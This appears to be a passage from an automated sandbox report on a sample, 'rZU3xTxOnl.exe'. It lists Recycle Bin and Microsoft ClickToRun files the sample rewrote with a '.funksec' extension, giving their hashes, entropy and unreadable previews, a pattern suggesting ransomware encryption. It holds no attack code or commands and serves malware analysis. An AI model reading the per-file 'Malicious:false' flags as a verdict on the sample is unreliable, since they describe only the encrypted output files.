                                                                                                                                Malicious:false
                                                                                                                                Preview:sb.7...\#...V.4.1....p...J..`.\....$b...Y.....$.I..=b?...V.Q.i.e5ev.vV.......w.%8.6.....X..R...<b1'd.)..G.& .X.;.v...?[..X......n.].(.....fE.N...i.Z...wOQ...~r.q%W..p......6..)Q@@...<..0.'bY"...2...M1..J.......r.%......!n...)..Zw'.l. }.J

                                                                                                                                C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1002\desktop.ini.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):249
                                                                                                                                Entropy (8bit):7.076658546463491
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:3:ys5boRsE/rGEtldTfIwH8qpGsxI2IyE8NKFZtHkAZ9eep6Q0VD9j4qafooaupcVI:y9Rsyr/nfIyz1lE8oTEw6QGEWobkx19K
                                                                                                                                MD5:84005EE9B3549DEB65633C9B984665B4
                                                                                                                                SHA1:38DCEEA4F54ED7C50B2F65985828B9C1DC4B4B50
                                                                                                                                SHA-256:1B152FD690C6C0B1FBFDDCCD40005291A7760287FC7DDE9831C91302D18A5A89
                                                                                                                                SHA-512:D5E7B0354298E15ABFD772F298C44F5D50B44456FFA60799833308175CBB2B8E84196B8C6BB0C3F37EC0091752AFE478B70FAC6E3DFB3A4AE502B099E10AAB40
                                                                                                                                Malicious:false
                                                                                                                                Preview:.h#..40.....%.E$.4.... ...2`.sR.,.T...#>....4..;k...4r....w/....db.........L....."......Xl..........4V..j.o..&:A...T..".C=......V...~....`..l..T...!T]}~..7L..f....E...R.....w&y............yn...#....:..N.o66.."K.9....6...J_X.l&....E......

                                                                                                                                C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1003\desktop.ini.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):249
                                                                                                                                Entropy (8bit):7.0587825425343125
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:6:EIGC852dQvCZCywFLVvbYw3pXnsfa4qSSk3dBAZrvnxz+d:EId8oyv+xwFLh0wSFSynANxz+d
                                                                                                                                MD5:FCD26DF931F2F554B5C0B91638D67F5C
                                                                                                                                SHA1:F754349E0B653EB4AF232DE48F19D8C3FD235073
                                                                                                                                SHA-256:44FAC3E1ED57D99D9CCD07CBE6CA750152A96624B6E92647B903149E4524FD8D
                                                                                                                                SHA-512:B54FFE978BBF01B7E5D97ED44AE4217B0D315B90C09161F0108293E8690B8AD21859CAEC01009ED4464D32AAD297526EAE18237F91FAF6C7B9B80C4801BB6206
                                                                                                                                Malicious:false
                                                                                                                                Preview:..X.B.......o...FsJF.J..../.P.(....%..y..=&..w......['F[<.2n.w...}..$......'.@b...3.i.S%..w.1...z.......R./.x;P9........=H.6..4C.'9.......).=....@.9=1{.B.X..B+..6./'.u.eF.h..;.B.)T.p....ec-..r..|...<.-..8.09.....+8..M..g.X..!.R.].

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\DeploymentConfig.0.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):2766
                                                                                                                                Entropy (8bit):7.664881271700565
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:48:BzN1IwlB6IW8FgKRNxZbmJz15NDMGKetZBBPok7b1ghvwNaKXOmSqpfvdUH:z1IwT3W8WKTxZMZjDVKetb7pg0aRqpvy
                                                                                                                                MD5:7A72E52D52940622E5D34EE91E67BCF1
                                                                                                                                SHA1:20760AB49AAA5F64D9BFCD424FB77E435C2815F8
                                                                                                                                SHA-256:E7E7A87A1A145C5B090A7D974B14EC8C111650AB2B28300AF2EFC41887E15FDB
                                                                                                                                SHA-512:2B283030FF228D386E1CE86A8087D0A8DD5372BF1451A2FE7F9F9607DB63DDC3AED6B8F1BAD7CE101E42E9E9DAD613389712AB914FEC974E9FB222DE680534FA
                                                                                                                                Malicious:false
                                                                                                                                Preview:..4...8...e.lIC[...Q....].V....V.......B.D....(q.O8$..W...S........\.V.\....Z.2.3..l[.\T..-."h..zV......O.E.<.9.a.......[..~..j$....?...0N..kEX......+.....P-S.i/.b..:._.r.vW.C..A......]...1..............u...Cb.........|e....B........T.H.A....Z.2.3..+[.\F..-."y..z......O.E.<.9..|......[.3..ju.J..?...)N...E\......+....PrS.../..i..:._.r.v.)..z.u{....[.......j]S7H!4d#0.qk...a.V.b(....ce...._.......P.C.Z....Z.2.3..3[.\D..-."n..z^......O.E.<.9.L.....Y[..q..j)....?....qN...E...[..+....PvS.../.;..:N_.rAv.......n._.q...T5v..^.#.....ez..AV.m...(.;.....Ke*..........U.E.V....Z.2.3...[.\%..-." ..z}......O.E.<.9..-.....\[.,..jl....?....4N..@ES......+.....P7S.E/.2..:__.rUv..>.(...p.%Zl....D.....7zH.w/.P>...B{.#0.A!..:..2e....[.......[.W.V....Z.2.3..c[.\D..-."-...zX......O.E.<.9.}.......[.|..jt.M..?...."N...E[......+.....P}S.../..,..:__.r.v...ZSf...:..*,...G...?.....[x.P..)MQ'.^^..}..~e............m.]._....Z.2.3..>[.\...-."b..z.......O.E.<.9..

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\DeploymentConfig.1.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):1934
                                                                                                                                Entropy (8bit):7.649775136351763
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:48:6dII3lKAw4PuPXaKC652uwHPPvO16ZFTwvXhgUF:TI8ARmPXaKvwPuMZdmgI
                                                                                                                                MD5:FBD5CE043DFE1CEB60DCF30344CD78DC
                                                                                                                                SHA1:16774F815A087E39810E56794197BAAA1E78C171
                                                                                                                                SHA-256:B90C28EA02A9209DE43BB205D8921A4EE7928AE4EF4665422622C10A24513402
                                                                                                                                SHA-512:7B2339270EF7A4CB229F1F86614778BC8D81A5C445B50D880E382739DFC5938E1571A3B6759FF355FAD3B27DA1716A99078B48321C27B8CB9AD8F310AD1F06F8
                                                                                                                                Malicious:false
                                                                                                                                Preview:}*...'..lX.Km.i...9...... .jk.tG.....Blp.L.......k..".y...e...u..;.../.N.x....fD.7[W..O.x?.....L.+..}/.......&).g.+<...1...h3.u.d.bqF."q...}.g....'.....?*.A..u..b....&.~V.c...d..>..o._...4.1.775..~.c!.E.W:..g.j.....[..+...e...u..9...!.F.f....3D.7.WP...k?....\L.+..$/..\....&&.?.d<..1...h5.u.d.b=F."+...#.t....'.....#*.A..*.Ob..J.J.uV.c...d..>...P.2..~/.Nw`.+'^.Z..@.....(-6...t<.KhC~.k......e...u..8.1.?.B.m....hD.7.WO...t?....IL.+.../.......&s.x.0<...1..h...u.d.b|F."}... .#.R..'......d*.A..5.Kb..M.R.SV.c...d..[>...;.NI...*O...8p...7.'..WC..{.....^..L[|..N....e...u..>.,.).G.k....hD.7.W..\.~?..XLS+..>/.......&;.6.}<...1..h|..u.d.b>F."w...~.r....'.....:*.A..j..b.......V.c..d..O>R.a.U.3.i._.3..r.D.Hy.(......Gy`._.......k.....e...u..m...,.I.y....}D.7.WS.@.v?.....L^+.."/.......&t...f<..1...h..u.d.b'F."#...~.7. ..'.....6*.A..:..b......3V.c..d..O>#Po.P{.I.D.!##.LI.z...Nt...s..I..Pe........b....e...u..6./.).].0....`D.7.WT.=.9?...AL.+..l/.......& .z.L<.

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\DeploymentConfig.2.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):1934
                                                                                                                                Entropy (8bit):7.631668503373599
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:48:4D2OEV8pT6Z8ud6zpolthpcM3hguWysEGc3t/VDnlbphSjR4Ybf:o2OEV8pe6lshgufGc3t/Nnlb+Rl
                                                                                                                                MD5:CBCBB8BE283B1A087AEBE30CCD3B7996
                                                                                                                                SHA1:6852B7204176A25B75E4FDE5955C726292D575A8
                                                                                                                                SHA-256:1F9A9E536E2BBE262D98F374942B45056C43335BC1BD855CF863FF7AE9C26FCD
                                                                                                                                SHA-512:215299BDCECC2287722B99FDA0B9532FBE201652FE42A1572687FD38CAF940F8DBB8F9507A236685224D7100038D6A5F30288C558CE6CB3DF98DF3E640324F84
                                                                                                                                Malicious:false
                                                                                                                                Preview:...4D._..R..g.P....l...+.......?.{..#......$n..Z...}y...0KV2\.lV.b.+.7$%../...(...S.|J..Uf5.8.J....8P+l>.;..|.....R..;...._@A.C..b'M..Y.K)....O.T..^... ..aw.8"..*/...$.w.....$$..r..3q..~..X.........dA"$.{!.....1.).D.;.1mr..0.V#\.lT.b.%.?$;../....(......oJ...fa.8.J...sP1l3.4.|.........;....H@.....b}M...Y.K0.....K.T..^... .4w.8f..*$...2.r.&...........).&. ".5.D..X..sIL.!.g\...#....*.R#.].<.m..0.V>\.lU.,.;.;$0../...(......pJ..'ft.8.J....9P.l4.a..|../.....;.....@N.N..b+M(..Y.Kh.........^... ..0w.8a..*....../.{...6..h.c-.8)l....E..ZF.....;...75......:.t.....a..E..0VVj\6lS.1.-.>$6../...(...@.zJ...fe..8.J...9P$l1.).|..G......;..[@.....b!M?.Y.K-.....D.B..^... ..ew.8?..*....b.>.i....7").....i.c..M..i0Z.6.3%;...w'.=.|(..x*QZ-.h2<..0.V:\.l....(.0$$../...(....\.rJ..Wf5..8.J...,P2l&.f.|......L..;....y@.....buM..Y.K......H.H..^... .pw.8#..*b...b.>.i...>..q..l...[..#......l~].....-..*q)$KX/.r...b.S ..0TVj\Nl[.2.-.$$m.0/...(....!.=J...f|.8.J....(P+l?.2..|....

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\MachineData\Catalog\Packages\{9AC08E99-230B-47E8-9721-4577B7F124EA}\{1A8308C7-90D1-4200-B16E-646F163A08E8}\DeploymentConfiguration.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):878
                                                                                                                                Entropy (8bit):7.779584807846362
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:24:zrgTsFMIdLPEx9Y4L3e+gXIxD4RvVlLR5EI/S7iYIKP:PgwCIu+K3U4xDMlhk/
                                                                                                                                MD5:86317701DAD2A3B1B6521DD496CEFCA9
                                                                                                                                SHA1:EC2D3CAA830FD0819AC15248D486B877616E4CD8
                                                                                                                                SHA-256:B6F0FFDAC765820B055633E7E4ED2BDB803E01DAAE824A2B82610DB86D461919
                                                                                                                                SHA-512:FF77134DBA3D13313AFCBD440BC91DFD82DC35E26BA4716C39CC92D1E593FFA2FEFEC09A5F5F64F38E183BE9CE92608561A13EB1B7A567730EE00E612FFDC16D
                                                                                                                                Malicious:false
                                                                                                                                Preview:.H_./..B...9..S...s.?~..._4......e.t#4.....W0RI"z.W........r...K%.z.M.X.=.n.S|G]c..@..s....s....W[.n.c.e|.......<y.T..o.lFL.z.....|.t.s.z../.&.....{(.."~.'.!..:L...y.Z6..H...y....0w|.....U...@.(.>.+rZ....k).@G.Swk.r...PW..l...Z#.)......`.".3..ki..I..u....m........e._..z.....;..OR.#.9.|K@.$.I..#.!F,..$.&.D....Z,.ZrL...;..}'...:..R...H.........T...:,VO...\i/..{h.a....uQ.......zm.!H..=...B>.}.`....j.#V*..w&..N..S....x.M..F..<.p.or.....4..HA.>.8.bZ/.1.L..../V0..s..W.7.....v/..)m...(..$-...3.....i.....p..6.9.8....."....qH..s..k.......g..3m.`......X..z...[#.u.Q....~.?V<..};..]..4...o....MS.l.W.$c...@.r..NE.%.".:63...O..0.#@`...&.X........,s...n..t...h.5...W.......... x.\N|.:.aU.....o*j..~....0eA......O.C.q[X..l..]i.<.P..*.c.8P+..mo....w....x......V@.t.\.8+X....3.>UN.>.#.?...9....5.)J3..9..v.~....P/BiD6........R...~..

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\MachineData\Catalog\Packages\{9AC08E99-230B-47E8-9721-4577B7F124EA}\{1A8308C7-90D1-4200-B16E-646F163A08E8}\Manifest.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):6924272
                                                                                                                                Entropy (8bit):7.96115166298893
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:98304:1ZgYXAWCYXnDdwxF4/IhlIFMD80Xxb39KxIrL2mnvtzXWvMkX74n95cmKVRaPPKh:1pcZGOz+C/pQ
                                                                                                                                MD5:E4A3D6ED93F5C489A6E8025D3A5D865E
                                                                                                                                SHA1:C1E50A97751609DFF42405C9C36094748AFD769F
                                                                                                                                SHA-256:2A51C04E5C84ECDAAD699BA2EF42F4BBAE625A93ED8F488EBDD8F6ADBC4D3EEA
                                                                                                                                SHA-512:F24CA6A93D4E05419E33CB5D16708D00CB05A44EBCA09A2C0D6FF5E11CC59E49CD0810BD769FAC5E5D6C9098A9F729A1FC374258513694B52BA30003EC5A925C
                                                                                                                                Malicious:false
                                                                                                                                Preview:....'...v.M..}j#..4.Oq8..v...A..Y.q..9....i.zN.V}*...V`=c.l....-...z....f..(@....i.....{Y..5....t~....5|V...u..n.GLm......._....0.;6...`.....z!.fN..*.S.&.....c..LU.....T.. ..._.@s.'.XCTB.5...4F'...P.\uF.:..3..]...CH.Z:..W.3.-.w....T..z....t..{H....n.....yP..>....lk._...|~T...Z..b.K.`.......^...Y7.84..-...].$c.w.D.f...>.H.C.$i.ECB......]..%.N.....Cm...t..2s.k.%......{z.n..,.7.=....{...P..=.r.(....K...}....'..7^....$..A.yP..>....lk._...|~T...Z..b.K.`.......Z...Y7.84...J.%..:g.2OU.%...l...U.:i...<....IL..).._.A.M$..<.d*..b.W..y.6.t..p.86.Y..Ax.g..,.y.~.9.g.q....2....t.P..1..u..Q.z..@.y...r.s..oo.[...7$g..y.,...C.jV..Y.....f..w...t..NG.$c.|`..7.....Z...t?..s[.......A.k%..`y.I:MT..B..A....Wq!........m...a.hM.y....@4Z1....%....9.S...)_....=...~.R1...w.O..Jo.[..voI...H..g.OMd.oT....L..~0..~...I.....=`.#D1.7...7...U..i.AB.....W....Q....\...o.q.\ ...&6.......3..[.(.....w .Q.zuA.z5.r.f...V......)..d..+D..........>\..a.@..tz.Q..../..[..S.UK

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\MachineData\Catalog\Packages\{9AC08E99-230B-47E8-9721-4577B7F124EA}\{1A8308C7-90D1-4200-B16E-646F163A08E8}\UserDeploymentConfiguration.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):878
                                                                                                                                Entropy (8bit):7.731752318234751
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:24:WN4GzmtEbO6TyKTEtFunRCb5rFk+ruS+OAFZAFP1hMJ6mDBI:G3THWFuMNNrB91hFme
                                                                                                                                MD5:91D409F11734B8F0D2C315886C2241BE
                                                                                                                                SHA1:71946C27B7D70B3490077748DBCBE561626246F5
                                                                                                                                SHA-256:8CA146A42D8FE9143E301F5CC93B8859397311664FD5DFEB7F668FBFB47945CC
                                                                                                                                SHA-512:BCC3847FF26148A0E58FB588E5961C922BEE28C768160C9D2A46E22E714A49CA92B7B180783DABC31A6116908F4C84DA6B2A07A4905DF282E5C1587CDFB8A57F
                                                                                                                                Malicious:false
                                                                                                                                Preview:y$.-..........mkn,.Q-,.F..a8Xc..*.{|../y!yM0..O;5.Xe.YX.y.....v.....'m...(v.=.......-...wf..:{..`............._.>..A<. ..t.......,A..NO^..@w..G=3.{...L4...}...G.\....0.........@.......5.)......n96.._N...A....m....|?6....*..X..g..[.Mi,...k:.]..%....n....yx..r<H.$..8..............Tpl.c.x.......Dh....r.."0@..lg...Y.~"...yO..j.I..@..........Z.T.O..4....<.)..s/w........G<.@..V.xiL..{..hs.3..[.3.....!u!....;\D..9.....,...tm.O.z..q.......$........Amj.3.........Jx..GD_.Q.M.c"1.|..._,...:...h.I..R.0..1......!...e.T.ve.x.p.D.lx)j4...#K.fq..9..D.v_;..E.v.3....?f.....u,...O'\R..3.....%....Hz..8}..z...0.......R....Rvd.h..........FnR..:7Q..>'H.ek`.W...A(..~\..c...|.?........,nOB>r.#?...;..w.H.@.E.k9..9uF..4.a/..U..P.g..5.....`..N...=...l ZE..#...D....vm..3h..a...;............Smb....-.......Ld...;s.."W.gkz.|.j..n..Qn..6.&.r..

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\MachineData\Catalog\Packages\{9AC08E99-230B-47E8-9721-4577B7F124EA}\{1A8308C7-90D1-4200-B16E-646F163A08E8}\UserManifest.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):4352478
                                                                                                                                Entropy (8bit):7.976205833704413
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:49152:31IvLf5zw8bp6eAlQkkoUsina4LOz/scd+0oOluqt8W3k1IZjTM+5oFUSDW5l9Xb:qvL2C8GseB4MRBW3jzA1b7iKqj
                                                                                                                                MD5:68295186D4E1DD14E9F752781729E82D
                                                                                                                                SHA1:759A55C54DD492297359168953D22C2221E65DAE
                                                                                                                                SHA-256:DA20D8AD5AF5C230A8FDBFB7F5B0594E1786E37BA24F95122364F316251C430D
                                                                                                                                SHA-512:F3ED344CA91227D3DCB8B0805F1DDD5380EAD1B8687C4B30FC35999B3CD624C629A475AA2EC7AB442F25B4FE8987274EC84408A753B5C1D3721912A8C03C4CB4
                                                                                                                                Malicious:false
                                                                                                                                Preview:z.3.[.Z%#....sQ..%Yl.3...<.....uv!.....s...G6...*.g`...j...2.,.D.._U....X*..p.@k.......'....} ....=.t^d.+vG<.....we...?kFQh@N/U......}.nO._.A.l..<....b*..A.r^....g..]....b.....[=. gE....8..G....'I.Y#W..B..p.....c.R....EF.V.=...(.(.W.N...].&8..~@@|...].XIi....z(....b.c.(.2rH>....[&....; .]>.n`.......!..l.n.].q..vO..q)....`^..Q.8.......<K..D.G.,O.....%.c...A..].u...w...P.Y.....Z...[...Mn.....t..#.$..0..S\.m.../..!\.N....D@q...)z.>..o.3&..{gDj.T..W>.... 9.px..$;......1.pf.....3.#[...7l.VX.._..Y.)..@...{..V....y..EL.....(T..pg..w..Z(..D....[y..&..k?6....J.s....3.-.......\.=p..p.L#.....[Iw...r$....|.;L..>hEw..^.6v0...=?.J".z|.....q.~o._.A.l..2"..`?.V[.m+@...h..C....z...V.VE.O........^....l;..C.B&..aF...O......uI.L..uS.f.t......(..+.T...K..}F....Rd.......'....ys.8..=.n.2.4h.L.....a;L..,%.KuDJ|....s..G.Y.X.g.b....O5..P...Y.1.j..K..}...L.]....B....A..Y.v.n....%..(....!....b.3Fl..c...Z.k...(.1..V.T...C.|{..a.Rc......V'.....}.H..?.n.#./$.P.Y...g

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\ProductReleases\78614DC7-9853-4481-BCFD-A5C14DED5516\VirtualRegistry.dat.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):10672664
                                                                                                                                Entropy (8bit):7.8212654718221994
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:98304:FhfVe7ur3wEsqPZQDgdmHJvJFUy76/+aeSqnST1U0XgUVwSLXZ4:lr3vHPZNdmpR2J5YGwkwAq
                                                                                                                                MD5:1E44A096195670210EE526AB2E81A3EC
                                                                                                                                SHA1:A511FF7CFD91B5185050155716CD068BF4373A6C
                                                                                                                                SHA-256:663F3B84A4F1484E19FF79569C54C8B2A160C0C614A6DBC0449E5B607429AF44
                                                                                                                                SHA-512:65B0275B5314223B1F7E3626C111037E0D92C4396F729DA4780F1E968650C2886809F181B1D9EAF16E5E2B408FD0207D4DE7133076683700DA9AB67B61E7C180
                                                                                                                                Malicious:false
                                                                                                                                Preview:.)..c.o..*..f4.z*.J.x...0 ....e........K...k.v...d.........A..%.4.>.5U...W[$.......Q.<C).27\..f..&..,.t..X.?...(.....O..(9f>Y....o..H|.`.#...2(."..%.....,. .......?.)..&:k...=<...D.4....'..5....).,.1...:.n..$m........G......A..%.4.>.5U...W[!.......P.<C..27\..f..&.~..t..X.?...(.....O..(9f>Y....o..H|.`.#...2(."..%.....,. .......?.)..&:k....{`1...9.ur...Q..@d.......L3....R ..L...#T9.........A..%.4.>.5U...W[!.......P.<C..27\..f..&..,.t..X.?...(.....O..(9f>Y....o..H|.`.#...2(."..%.....,. .......?.)..&:k...........JdVH.;.n8%Q..M....5.w.SC.+....TS..z........A..%.4.>.5U...W[!.......P.<C..27\..f..&..,.t..X.?...(.....O..(9f>Y....o..H|.`.#...2(."..%.....,. .......?.)..&:s.......M....K.C.!....]c....T..*.u.~2hM.b.jC...I..A.k{|@..%.4.>.5U...W[!.......P.<C..27\..f..&..,.t..X.?...(.....O..(9f>Y....o..H|.`.#...2(."..%.....,. .......?.)..&:k......e..e9w4.....j=L.D...N.d....).......^..@zS.......A..%.4.>.5U...W[!.......P.<C..27\..f..&..,.t..X.?...(

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\ProductReleases\78614DC7-9853-4481-BCFD-A5C14DED5516\en-us.16\MasterDescriptor.en-us.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):49408
                                                                                                                                Entropy (8bit):7.930686430186712
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:1536:2/7vhdYkNm8ewJS0YY8+pYUger/A0sKU8CZubFs:svhwhwJmH+SbF0GZubq
                                                                                                                                MD5:940AF316C6301262C36C52C7FB2BFD86
                                                                                                                                SHA1:DCCE5BABC918071C30798A60E0546A7903E19822
                                                                                                                                SHA-256:2CEBEB634463B051C155B0C8AECB8FE4A1FF0F373AE05ADD8AEE7B009C69BAFB
                                                                                                                                SHA-512:2D1DB8FD52AB7FFFF0B8BF817AE05B0DBF7577657E87FE7010A9403623CA2B081500CFBD6AB4BD9792465088E23BF73B89149BDEEAED203199CF0335FB22E465
                                                                                                                                Malicious:false
                                                                                                                                Preview:O.|.&P8.....o.`..ZR...y.B.r...D....>2(.&......F......0?......B..]....u................x2.G...."G>..R[0..MJI^.9.N.~.0..Lk...K~..a..H.T.JH../%L\!...W........d... h_`.....=.x...B........u.@O.R?.jCn..U{.....c2*0R..].....L.......U..K@..y......Yz.....V...E.0,.lL+..B.*.....|.3.A.9.j..5.D.\&.M%..H.a.J[|rJu..u............{.V...5<Ds.*. ).g...q.EG.+{..!j./..Ke.v:.M./..8.]L.GAc..........].........r..B_...Z......../...ID.e.?.Y.``. .Q.......MUH.S..C./.$...(.L.Ar.N?...?...Et#-&HM6...G...6..6.K....)Rj...zQ.3.S.4........I.u.U_.|i^......'mMU.^.O......5........[.....S.\g9...4......E/..._..^<?.[..0.>.{...kJ'...Y_.|Z...|.)..d.#.\p....J.=..7.]~X#.u..I.....Z..e.f...yh.!.Z..%?.r...].^R.c%..K.....=...x...cC.}....q.k.7......<J.]..Y.........@P...f.......Kj.......}t...c....{...j4..`6..Qp.a.,.o..@..J..r.U1....d....6#/3OG6..5......s.U...yh.!.F.'7.t....+.....C.@.R...,...l....i.2...BU..WCO..Y......2..[........M....w......d...R.Ekl.T.20. .Q....d[.=]OG.7.S.Q

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\ProductReleases\78614DC7-9853-4481-BCFD-A5C14DED5516\en-us.16\stream.x86.en-us.db.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):608801
                                                                                                                                Entropy (8bit):7.999679373665147
                                                                                                                                Encrypted:true
                                                                                                                                SSDEEP:12288:PgG9A9Ir8sarbTWeD1KAuwNvmwvn/sVJu8j4TTxLFKnIEuFpa2VAISd:PgWA9IrqrJDgcxmwvEaSCtwSFRaISd
                                                                                                                                MD5:5CCF103A73C4863A798E0B2FD6508302
                                                                                                                                SHA1:F1C997AF4E392000D825569F592B5AF9379FE3D0
                                                                                                                                SHA-256:32F19A43A498BEDA9E5FDFA9FA67CEC35685B5160826B1E7A748F189AC302EA4
                                                                                                                                SHA-512:84A369ABDAAF60F7189753DAE3002EF90871453A52A084442928A4AFE8D3BB62BAD97671094118C49E470DD0D673F0DA83194BE7D7F92298CC9D3877E584EB9F
                                                                                                                                Malicious:false
                                                                                                                                Preview:...\.kF..A....[..LJ|z}P!N..igL.>|..B{.k|.....)............;.,h\+T!v...!..X...@..=%..O.p....u.....'...v.O1y...6....o.#.MFk.!J...|..M...?WU..>.d....:..#..+n\[I.....7.......-.......{9.~0....h..F.....n.7.+&......x..L....qc.........h.....Ns8Q.....q......:...k.C..t'..x.Sw,..8...yy....^..6@{p1W....R..~. s.o......Np..l..R....eN.+.)..ZL..Y0..*I.sUT}..).6.....8.8..3..z.L...L....n....`.6..i.Y".B.^. ...EN.....5a.v5Bnl.8...%...sk..}.S......u..VjXP..=..u.t.......=-r..[...P.....{.y..5...{...B..S.....Z.2...._...y.(!w...w..~..g.P{*<:...7..g.......`.L.....)5..*..q.s.".H1.4......m....:G..b.T..R.*p.{..VM..j.#B..;.]lWI..*s...Rz.H.k.y...Q.u.......2B.....e.9E)...u..E..RI....K..+..g.....`{..#.F.9e....mI..e,.;.f..H&.4.N.. .Tsk...n64..q....7.l..of...(...HL..,.Q.P......^.... :....o].w...9....G..uM....I..{....J..R..kQ...vY......O.HIR..wjP...+..6+.k.'".o.<....B..;..E...4.....?.....c..+IC...wj_.?OM....,......3..8.J4~..7......7..O..a..F..TV.v^.!......R...XO.w.x.D..H S

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\ProductReleases\78614DC7-9853-4481-BCFD-A5C14DED5516\en-us.16\stream.x86.en-us.man.dat.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):1288045
                                                                                                                                Entropy (8bit):7.786682723199091
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:24576:gXiaoP+9SVwpq9uT4JVb3DW/U2UA94Sp0:gXloG4VU2VJV3WcHZ
                                                                                                                                MD5:4A19A190F28B669E26C3B42842E888E6
                                                                                                                                SHA1:55BCB87398F556A0E306D8FB755F27A86FC0B2C8
                                                                                                                                SHA-256:D7DA977A2DD9C08F3851E8B03AC85029F8E1E1F8D53EF4A406C196DCDEF50C75
                                                                                                                                SHA-512:8F248F98718429028396B96830393988D230FD98FB6220DFD90169ACF770D2390DD9971D37A67FA4C753F2890945DCE2189B3A8B88C290977F52B8FB200BC2FC
                                                                                                                                Malicious:false
                                                                                                                                Preview:.~..`I_.)'.4t....A.F...2C.,...G.`O..M...Y}..H..~.j...,MX.>s......y.\..$M.0..]W'...V'...K..r.........B. ....[...Ui.. q.^?.K..T^+.|..GA.m.....]..a..U....-...78.W..S..g}.D.N.....$.y.$.......2B...u,j..^.Me.....I.w.0.T.../.-(X...s|...z.s.....h._.._W..R.Q'..jK....N...b...+.C|....mz......SG..1..y...;0^....)...N..3(+.R.8......J.g....=.(4..7]`.|Y.E].@.q.g.p)W...x.................d[k....C.e.49w-Mh.{+t.....z.s.I..wh.J..._6..R.QA...8..rw........B. ....[...U(.. 4..^".H....^;.f..G[.q.....[..a..Z....g...d8.W.%<..g..0.`.|.#..{X.R.q.&....^..yV..w.e.M.+....!B...r..~.0..D-MX..>.....&.<./.j$..).nW#....'..vK....2...k...6.E|.....z..e....G.....y...;.^........D..P(@.a.c.........8.W..=.Zgg.X... ..K.[.@*..,..F....x.#.IK...Wi{..J..n...S.P...-+X..Ws{...z.s.I..Mh.J..._w..R.QI......rp.......B. ...[/..UC.. ...^^.8...r^..F..Gc.C.....o.:a..g.....U...R8.W..=.(g&.I.g.|...g.lx.8.`.6....%...{....z..>r....f.#..bTV.....-MX.>......./.?.~$..-.0Wb.d.e'..7K....a...i...+..|....2z..d.

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\ProductReleases\78614DC7-9853-4481-BCFD-A5C14DED5516\operations.db.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:modified
                                                                                                                                Size (bytes):15471128
                                                                                                                                Entropy (8bit):7.986683180297167
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:393216:Wv6/Ozj0+V/Q7Q7i8XMX2XvKxZ4jO0Gbnf404WvB:Wv6uj7wSMXYvny7f4PkB
                                                                                                                                MD5:22D75E9BF149FE2B57FA66DC710B4D8B
